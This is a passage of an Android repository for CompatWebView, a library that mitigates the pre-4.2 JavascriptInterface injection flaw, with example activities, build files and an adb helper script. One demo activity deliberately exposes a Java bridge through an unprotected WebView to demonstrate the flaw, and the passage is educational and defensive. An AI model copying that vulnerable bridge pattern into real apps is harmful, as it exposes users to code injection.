12 | */ 13 | public class CompatWebViewClient extends WebViewClient { 14 | 15 | @Override 16 | public boolean shouldOverrideUrlLoading(WebView view, String url) { 17 | if (Build.VERSION.SDK_INT < 17) { 18 | if (view instanceof CompatWebView) { 19 | if (((CompatWebView) view).shouldOverrideUrlLoading(url)) { 20 | return true; 21 | } 22 | } 23 | } 24 | return super.shouldOverrideUrlLoading(view, url); 25 | } 26 | 27 | @Override 28 | public void onPageFinished(WebView view, String url) { 29 | super.onPageFinished(view, url); 30 | if (Build.VERSION.SDK_INT < 17) { 31 | if (view instanceof CompatWebView) { 32 | ((CompatWebView) view).onPageFinished(); 33 | } 34 | } 35 | 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /example/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /example/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 26 5 | defaultConfig { 6 | applicationId "com.sw.bridge" 7 | minSdkVersion 14 8 | targetSdkVersion 26 9 | versionCode 1 10 | versionName "1.0" 11 | } 12 | buildTypes { 13 | release { 14 | minifyEnabled false 15 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 16 | } 17 | } 18 | } 19 | 20 | dependencies { 21 | implementation fileTree(dir: 'libs', include: ['*.jar']) 22 | implementation project(':compat-webview') 23 | //implementation 'com.sw.compat.webview:compat-webview:1.0.0' 24 | 25 | } 26 | -------------------------------------------------------------------------------- /example/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /example/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 3 | 4 | 5 | 12 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 24 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /example/src/main/assets/web_compat.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 使用CompatWebView避免Android4.2以下的JavascriptInterface注入漏洞 6 | 8 | 9 | 10 | 11 | 12 | 13 | 使用CompatWebView避免Android4.2以下的JavascriptInterface注入漏洞 14 | 15 | 16 | 17 | 18 | 19 | 20 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /example/src/main/assets/web_inject.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 演示Android4.2以下的JavascriptInterface注入漏洞 6 | 8 | 9 | 10 | 11 | 12 | 13 | 演示Android4.2以下的JavascriptInterface注入漏洞 14 | 15 | 16 | 17 | 18 | 19 | 20 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /example/src/main/assets/web_js_android.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Js与Android交互方式总结 6 | 8 | 9 | 10 | 11 | 12 | 13 | Js与Android交互方式总结 14 | 15 | 16 | 17 | 18 | 19 | 20 | ShouldOverrideUrlLoading 21 | 22 | 23 | 24 | 25 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /example/src/main/java/com/sw/bridge/CommunicateWebViewActivity.java: -------------------------------------------------------------------------------- 1 | package com.sw.bridge; 2 | 3 | 4 | import android.annotation.SuppressLint; 5 | import android.app.Activity; 6 | import android.net.Uri; 7 | import android.os.Build; 8 | import android.os.Bundle; 9 | import android.util.Log; 10 | import android.webkit.ConsoleMessage; 11 | import android.webkit.JavascriptInterface; 12 | import android.webkit.JsPromptResult; 13 | import android.webkit.JsResult; 14 | import android.webkit.ValueCallback; 15 | import android.webkit.WebChromeClient; 16 | import android.webkit.WebView; 17 | import android.webkit.WebViewClient; 18 | import android.widget.Toast; 19 | 20 | import java.io.UnsupportedEncodingException; 21 | import java.net.URLDecoder; 22 | import java.util.Set; 23 | 24 | public class CommunicateWebViewActivity extends Activity { 25 | 26 | private WebView webView; 27 | private static final String SCHEME = "jtscheme"; 28 | 29 | @Override 30 | protected void onCreate(Bundle savedInstanceState) { 31 | super.onCreate(savedInstanceState); 32 | setContentView(R.layout.activity_webview_layout); 33 | initView(); 34 | } 35 | 36 | @SuppressLint({"SetJavaScriptEnabled", "AddJavascriptInterface"}) 37 | private void initView() { 38 | webView = findViewById(R.id.web_view); 39 | webView.getSettings().setJavaScriptEnabled(true); 40 | webView.getSettings().setDefaultTextEncodingName("utf-8"); 41 | webView.setWebChromeClient(new WebChromeClient() { 42 | @Override 43 | public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) { 44 | Uri uri = Uri.parse(message); 45 | if (SCHEME.equals(uri.getScheme())) { 46 | String authority = uri.getAuthority(); 47 | Set params = uri.getQueryParameterNames(); 48 | for (String s : params) { 49 | Log.i("COMPAT_WEB", s + ":" + uri.getQueryParameter(s)); 50 | } 51 | Toast.makeText(MyApp.application, "Prompt::" + authority, Toast.LENGTH_SHORT).show(); 52 | } 53 | return super.onJsPrompt(view, url, message, defaultValue, result); 54 | } 55 | 56 | @Override 57 | public boolean onJsAlert(WebView view, String url, String message, JsResult result) { 58 | Toast.makeText(MyApp.application, "Alert::" + message, Toast.LENGTH_SHORT).show(); 59 | return super.onJsAlert(view, url, message, result); 60 | } 61 | 62 | @Override 63 | public boolean onJsConfirm(WebView view, String url, String message, JsResult result) { 64 | Toast.makeText(MyApp.application, "Confirm::" + message, Toast.LENGTH_SHORT).show(); 65 | return super.onJsConfirm(view, url, message, result); 66 | } 67 | 68 | @Override 69 | public boolean onConsoleMessage(ConsoleMessage consoleMessage) { 70 | Toast.makeText(MyApp.application, "Console::" + consoleMessage.message(), Toast.LENGTH_SHORT).show(); 71 | return super.onConsoleMessage(consoleMessage); 72 | } 73 | }); 74 | webView.setWebViewClient(new WebViewClient() { 75 | 76 | @Override 77 | public boolean shouldOverrideUrlLoading(WebView view, String url) { 78 | try { 79 | url = URLDecoder.decode(url, "UTF-8"); 80 | } catch (UnsupportedEncodingException e) { 81 | e.printStackTrace(); 82 | } 83 | if (url.startsWith(SCHEME)) { 84 | Toast.makeText(CommunicateWebViewActivity.this, url, Toast.LENGTH_SHORT).show(); 85 | return true; 86 | } 87 | return super.shouldOverrideUrlLoading(view, url); 88 | } 89 | 90 | @Override 91 | public void onPageFinished(WebView view, String url) { 92 | super.onPageFinished(view, url); 93 | testJavaCallJs(); 94 | } 95 | }); 96 | webView.addJavascriptInterface(new JInterface(), "JInterface"); 97 | webView.loadUrl("file:///android_asset/web_js_android.html"); 98 | test(); 99 | 100 | } 101 | 102 | public void testJavaCallJs() { 103 | if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.JELLY_BEAN_MR2) { 104 | webView.loadUrl("javascript:javaCallJs()"); 105 | } else { 106 | webView.evaluateJavascript("javascript:javaCallJs()", new ValueCallback() { 107 | @Override 108 | public void onReceiveValue(String value) { 109 | 110 | } 111 | }); 112 | } 113 | } 114 | 115 | public class JInterface { 116 | @JavascriptInterface 117 | @SuppressWarnings("unused") 118 | public void testJsCallJava(String msg, int i) { 119 | Toast.makeText(MyApp.application, msg + ":" + (i + 20), Toast.LENGTH_SHORT).show(); 120 | } 121 | 122 | @JavascriptInterface 123 | @SuppressWarnings("unused") 124 | public void finishSelf() { 125 | CommunicateWebViewActivity.this.finish(); 126 | } 127 | } 128 | 129 | public void test() { 130 | Util.test(); 131 | } 132 | 133 | 134 | } 135 | -------------------------------------------------------------------------------- /example/src/main/java/com/sw/bridge/CompatWebViewActivity.java: -------------------------------------------------------------------------------- 1 | package com.sw.bridge; 2 | 3 | 4 | import android.annotation.SuppressLint; 5 | import android.app.Activity; 6 | import android.content.Intent; 7 | import android.os.Bundle; 8 | import android.webkit.JavascriptInterface; 9 | import android.webkit.WebChromeClient; 10 | import android.webkit.WebView; 11 | import android.widget.Toast; 12 | 13 | import com.sw.compat.webview.CompatWebView; 14 | import com.sw.compat.webview.CompatWebViewClient; 15 | 16 | 17 | public class CompatWebViewActivity extends Activity { 18 | 19 | private CompatWebView webView; 20 | 21 | @Override 22 | protected void onCreate(Bundle savedInstanceState) { 23 | super.onCreate(savedInstanceState); 24 | setContentView(R.layout.activity_webview_compat_layout); 25 | initView(); 26 | } 27 | 28 | @SuppressLint({"SetJavaScriptEnabled", "AddJavascriptInterface"}) 29 | private void initView() { 30 | webView = findViewById(R.id.web_view); 31 | webView.getSettings().setJavaScriptEnabled(true); 32 | webView.getSettings().setDefaultTextEncodingName("utf-8"); 33 | webView.setWebChromeClient(new WebChromeClient()); 34 | webView.setWebViewClient(new CompatWebViewClient() { 35 | 36 | @Override 37 | public void onPageFinished(WebView view, String url) { 38 | super.onPageFinished(view, url); 39 | testJavaCallJs(); 40 | 41 | } 42 | }); 43 | webView.compatAddJavascriptInterface(new JInterface(), "JInterface"); 44 | webView.loadUrl("file:///android_asset/web_compat.html"); 45 | 46 | } 47 | 48 | public void testJavaCallJs() { 49 | webView.compatEvaluateJavascript("javaCallJs()"); 50 | } 51 | 52 | private static class JInterface { 53 | @JavascriptInterface 54 | @SuppressWarnings("unused") 55 | public void testJsCallJava(String msg, int i) { 56 | Toast.makeText(MyApp.application, msg + ":" + (i + 20), Toast.LENGTH_SHORT).show(); 57 | } 58 | 59 | @JavascriptInterface 60 | @SuppressWarnings("unused") 61 | public void toInjectWebViewActivity() { 62 | MyApp.application.startActivity(new Intent(MyApp.application, InjectWebViewActivity.class).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)); 63 | } 64 | 65 | @JavascriptInterface 66 | @SuppressWarnings("unused") 67 | public void toCommunicateWebViewActivity() { 68 | MyApp.application.startActivity(new Intent(MyApp.application, CommunicateWebViewActivity.class).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)); 69 | } 70 | } 71 | 72 | } 73 | -------------------------------------------------------------------------------- /example/src/main/java/com/sw/bridge/InjectWebViewActivity.java: -------------------------------------------------------------------------------- 1 | package com.sw.bridge; 2 | 3 | 4 | import android.annotation.SuppressLint; 5 | import android.app.Activity; 6 | import android.os.Bundle; 7 | import android.webkit.ConsoleMessage; 8 | import android.webkit.JavascriptInterface; 9 | import android.webkit.WebChromeClient; 10 | import android.webkit.WebView; 11 | import android.webkit.WebViewClient; 12 | import android.widget.Toast; 13 | 14 | 15 | public class InjectWebViewActivity extends Activity { 16 | 17 | 18 | @Override 19 | protected void onCreate(Bundle savedInstanceState) { 20 | super.onCreate(savedInstanceState); 21 | setContentView(R.layout.activity_webview_layout); 22 | initView(); 23 | } 24 | 25 | @SuppressLint({"SetJavaScriptEnabled", "AddJavascriptInterface"}) 26 | private void initView() { 27 | WebView webView = findViewById(R.id.web_view); 28 | webView.getSettings().setJavaScriptEnabled(true); 29 | webView.getSettings().setDefaultTextEncodingName("utf-8"); 30 | webView.setWebChromeClient(new WebChromeClient(){ 31 | @Override 32 | public boolean onConsoleMessage(ConsoleMessage consoleMessage) { 33 | Toast.makeText(MyApp.application, "Console::" + consoleMessage.message(), Toast.LENGTH_SHORT).show(); 34 | return super.onConsoleMessage(consoleMessage); 35 | } 36 | }); 37 | webView.setWebViewClient(new WebViewClient()); 38 | webView.addJavascriptInterface(new JInterface(), "JInterface"); 39 | webView.loadUrl("file:///android_asset/web_inject.html"); 40 | 41 | } 42 | 43 | public class JInterface { 44 | @JavascriptInterface 45 | @SuppressWarnings("unused") 46 | public void testJsCallJava(String msg, int i) { 47 | Toast.makeText(MyApp.application, msg + ":" + (i + 20), Toast.LENGTH_SHORT).show(); 48 | } 49 | 50 | @JavascriptInterface 51 | @SuppressWarnings("unused") 52 | public void finishSelf() { 53 | InjectWebViewActivity.this.finish(); 54 | } 55 | } 56 | 57 | 58 | } 59 | -------------------------------------------------------------------------------- /example/src/main/java/com/sw/bridge/MyApp.java: -------------------------------------------------------------------------------- 1 | package com.sw.bridge; 2 | 3 | import android.app.Application; 4 | 5 | 6 | public class MyApp extends Application { 7 | 8 | public static Application application; 9 | 10 | @Override 11 | public void onCreate() { 12 | super.onCreate(); 13 | application = this; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /example/src/main/java/com/sw/bridge/Util.java: -------------------------------------------------------------------------------- 1 | package com.sw.bridge; 2 | 3 | import android.util.Log; 4 | 5 | /** 6 | * test invoke by js 7 | */ 8 | public class Util { 9 | 10 | public static void test() { 11 | Log.i("COMPAT_WEB", "Util::test"); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /example/src/main/res/drawable-v24/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 7 | 12 | 13 | 19 | 22 | 25 | 26 | 27 | 28 | 34 | 35 | -------------------------------------------------------------------------------- /example/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 10 | 15 | 20 | 25 | 30 | 35 | 40 | 45 | 50 | 55 | 60 | 65 | 70 | 75 | 80 | 85 | 90 | 95 | 100 | 105 | 110 | 115 | 120 | 125 | 130 | 135 | 140 | 145 | 150 | 155 | 160 | 165 | 170 | 171 | -------------------------------------------------------------------------------- /example/src/main/res/layout/activity_webview_compat_layout.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /example/src/main/res/layout/activity_webview_layout.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /example/src/main/res/mipmap-anydpi-v26/ic_launcher.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /example/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /example/src/main/res/mipmap-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/example/src/main/res/mipmap-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /example/src/main/res/mipmap-hdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/example/src/main/res/mipmap-hdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /example/src/main/res/mipmap-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/example/src/main/res/mipmap-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /example/src/main/res/mipmap-mdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/example/src/main/res/mipmap-mdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /example/src/main/res/mipmap-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/example/src/main/res/mipmap-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /example/src/main/res/mipmap-xhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/example/src/main/res/mipmap-xhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /example/src/main/res/mipmap-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/example/src/main/res/mipmap-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /example/src/main/res/mipmap-xxhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/example/src/main/res/mipmap-xxhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /example/src/main/res/mipmap-xxxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/example/src/main/res/mipmap-xxxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /example/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/example/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /example/src/main/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | CompatWebViewExample 3 | 4 | -------------------------------------------------------------------------------- /gradle.properties: -------------------------------------------------------------------------------- 1 | # Project-wide Gradle settings. 2 | 3 | # IDE (e.g. Android Studio) users: 4 | # Gradle settings configured through the IDE *will override* 5 | # any settings specified in this file. 6 | 7 | # For more details on how to configure your build environment visit 8 | # http://www.gradle.org/docs/current/userguide/build_environment.html 9 | 10 | # Specifies the JVM arguments used for the daemon process. 11 | # The setting is particularly useful for tweaking memory settings. 12 | org.gradle.jvmargs=-Xmx1536m 13 | 14 | # When configured, Gradle will run in incubating parallel mode. 15 | # This option should only be used with decoupled projects. More details, visit 16 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects 17 | # org.gradle.parallel=true 18 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/heimashi/CompatWebView/dbae8b448e05e865969c16cb42efeafb8132ceca/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Thu Jan 04 10:36:19 CST 2018 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.1-all.zip 7 | -------------------------------------------------------------------------------- /gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | ############################################################################## 4 | ## 5 | ## Gradle start up script for UN*X 6 | ## 7 | ############################################################################## 8 | 9 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 10 | DEFAULT_JVM_OPTS="" 11 | 12 | APP_NAME="Gradle" 13 | APP_BASE_NAME=`basename "$0"` 14 | 15 | # Use the maximum available, or set MAX_FD != -1 to use that value. 16 | MAX_FD="maximum" 17 | 18 | warn ( ) { 19 | echo "$*" 20 | } 21 | 22 | die ( ) { 23 | echo 24 | echo "$*" 25 | echo 26 | exit 1 27 | } 28 | 29 | # OS specific support (must be 'true' or 'false'). 30 | cygwin=false 31 | msys=false 32 | darwin=false 33 | case "`uname`" in 34 | CYGWIN* ) 35 | cygwin=true 36 | ;; 37 | Darwin* ) 38 | darwin=true 39 | ;; 40 | MINGW* ) 41 | msys=true 42 | ;; 43 | esac 44 | 45 | # Attempt to set APP_HOME 46 | # Resolve links: $0 may be a link 47 | PRG="$0" 48 | # Need this for relative symlinks. 49 | while [ -h "$PRG" ] ; do 50 | ls=`ls -ld "$PRG"` 51 | link=`expr "$ls" : '.*-> \(.*\)$'` 52 | if expr "$link" : '/.*' > /dev/null; then 53 | PRG="$link" 54 | else 55 | PRG=`dirname "$PRG"`"/$link" 56 | fi 57 | done 58 | SAVED="`pwd`" 59 | cd "`dirname \"$PRG\"`/" >/dev/null 60 | APP_HOME="`pwd -P`" 61 | cd "$SAVED" >/dev/null 62 | 63 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 64 | 65 | # Determine the Java command to use to start the JVM. 66 | if [ -n "$JAVA_HOME" ] ; then 67 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 68 | # IBM's JDK on AIX uses strange locations for the executables 69 | JAVACMD="$JAVA_HOME/jre/sh/java" 70 | else 71 | JAVACMD="$JAVA_HOME/bin/java" 72 | fi 73 | if [ ! -x "$JAVACMD" ] ; then 74 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 75 | 76 | Please set the JAVA_HOME variable in your environment to match the 77 | location of your Java installation." 78 | fi 79 | else 80 | JAVACMD="java" 81 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 82 | 83 | Please set the JAVA_HOME variable in your environment to match the 84 | location of your Java installation." 85 | fi 86 | 87 | # Increase the maximum file descriptors if we can. 88 | if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then 89 | MAX_FD_LIMIT=`ulimit -H -n` 90 | if [ $? -eq 0 ] ; then 91 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 92 | MAX_FD="$MAX_FD_LIMIT" 93 | fi 94 | ulimit -n $MAX_FD 95 | if [ $? -ne 0 ] ; then 96 | warn "Could not set maximum file descriptor limit: $MAX_FD" 97 | fi 98 | else 99 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 100 | fi 101 | fi 102 | 103 | # For Darwin, add options to specify how the application appears in the dock 104 | if $darwin; then 105 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 106 | fi 107 | 108 | # For Cygwin, switch paths to Windows format before running java 109 | if $cygwin ; then 110 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 111 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 112 | JAVACMD=`cygpath --unix "$JAVACMD"` 113 | 114 | # We build the pattern for arguments to be converted via cygpath 115 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 116 | SEP="" 117 | for dir in $ROOTDIRSRAW ; do 118 | ROOTDIRS="$ROOTDIRS$SEP$dir" 119 | SEP="|" 120 | done 121 | OURCYGPATTERN="(^($ROOTDIRS))" 122 | # Add a user-defined pattern to the cygpath arguments 123 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 124 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 125 | fi 126 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 127 | i=0 128 | for arg in "$@" ; do 129 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 130 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 131 | 132 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 133 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 134 | else 135 | eval `echo args$i`="\"$arg\"" 136 | fi 137 | i=$((i+1)) 138 | done 139 | case $i in 140 | (0) set -- ;; 141 | (1) set -- "$args0" ;; 142 | (2) set -- "$args0" "$args1" ;; 143 | (3) set -- "$args0" "$args1" "$args2" ;; 144 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;; 145 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 146 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 147 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 148 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 149 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 150 | esac 151 | fi 152 | 153 | # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules 154 | function splitJvmOpts() { 155 | JVM_OPTS=("$@") 156 | } 157 | eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS 158 | JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME" 159 | 160 | exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@" 161 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 12 | set DEFAULT_JVM_OPTS= 13 | 14 | set DIRNAME=%~dp0 15 | if "%DIRNAME%" == "" set DIRNAME=. 16 | set APP_BASE_NAME=%~n0 17 | set APP_HOME=%DIRNAME% 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windowz variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | if "%@eval[2+2]" == "4" goto 4NT_args 53 | 54 | :win9xME_args 55 | @rem Slurp the command line arguments. 56 | set CMD_LINE_ARGS= 57 | set _SKIP=2 58 | 59 | :win9xME_args_slurp 60 | if "x%~1" == "x" goto execute 61 | 62 | set CMD_LINE_ARGS=%* 63 | goto execute 64 | 65 | :4NT_args 66 | @rem Get arguments from the 4NT Shell from JP Software 67 | set CMD_LINE_ARGS=%$ 68 | 69 | :execute 70 | @rem Setup the command line 71 | 72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 73 | 74 | @rem Execute Gradle 75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 76 | 77 | :end 78 | @rem End local scope for the variables with windows NT shell 79 | if "%ERRORLEVEL%"=="0" goto mainEnd 80 | 81 | :fail 82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 83 | rem the _cmd.exe /c_ return code! 84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 85 | exit /b 1 86 | 87 | :mainEnd 88 | if "%OS%"=="Windows_NT" endlocal 89 | 90 | :omega 91 | -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | include ':example', ':compat-webview' 2 | -------------------------------------------------------------------------------- /tools.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding:utf-8 3 | # author ShiWang 4 | import sys, os 5 | 6 | PACKAGE = "com.sw.bridge" 7 | DEFAULT_MODULE = "app" 8 | APK_FILE_PATH = "app/build/outputs/apk/debug/app-debug.apk" 9 | 10 | 11 | def command(cmd): 12 | #print cmd 13 | os.system(cmd) 14 | 15 | 16 | # ----------- 帮助说明 ----------- 17 | def help(): 18 | print "帮助说明文档:" 19 | print "./tools.py t 打印栈顶Activity" 20 | print "./tools.py d 进入等待调试模式" 21 | print "./tools.py c 清理app缓存" 22 | print "./tools.py i 安装app" 23 | print "./tools.py task 打印task栈" 24 | print "./tools.py details 打开app设置页面" 25 | print "./tools.py clean_git 清理git仓库" 26 | print "./tools.py profile 打印编译时间profile" 27 | print "./tools.py mem 打印进程内存信息" 28 | print "./tools.py adj 打印进程相关信息(进程id、oom_adj值)" 29 | print "./tools.py window {lines} 查看窗口层级,参数为显示的行数,不输入则为单行" 30 | print "./tools.py depend {module name} 打印module依赖关系,参数为module名,不输入则为主模块" 31 | print "./tools.py search {content} 全局搜索内容" 32 | 33 | 34 | 35 | 36 | # ----------- 工具类方法实现 ----------- 37 | # 打印栈顶Activity 38 | def top(): 39 | command("adb shell dumpsys activity top | grep --color=always ACTIVITY") 40 | # adb shell dumpsys window windows | grep -E 'mCurrentFocus|mFocusedApp' --color=always 41 | 42 | # 进入等待调试模式 43 | def debug(): 44 | command("adb shell am set-debug-app -w %s" % PACKAGE) 45 | 46 | # 清理app缓存 47 | def clear(): 48 | command("adb shell pm clear %s" % PACKAGE) 49 | 50 | # 安装app 51 | def install(): 52 | command("adb install -t -r %s" % APK_FILE_PATH) 53 | 54 | # 打开app设置页面 55 | def details(): 56 | command("adb shell am start -a android.settings.APPLICATION_DETAILS_SETTINGS -d package:%s" % PACKAGE) 57 | 58 | # 打印Task栈 59 | def task(): 60 | command("adb shell dumpsys activity activities | grep --color=always ActivityRecord | grep --color=always Hist") 61 | 62 | # 清理git仓库 63 | def clean_git(): 64 | command("git reset HEAD . && git clean -fd && git checkout -- . && git status") 65 | 66 | # 打印编译时间profile 67 | def 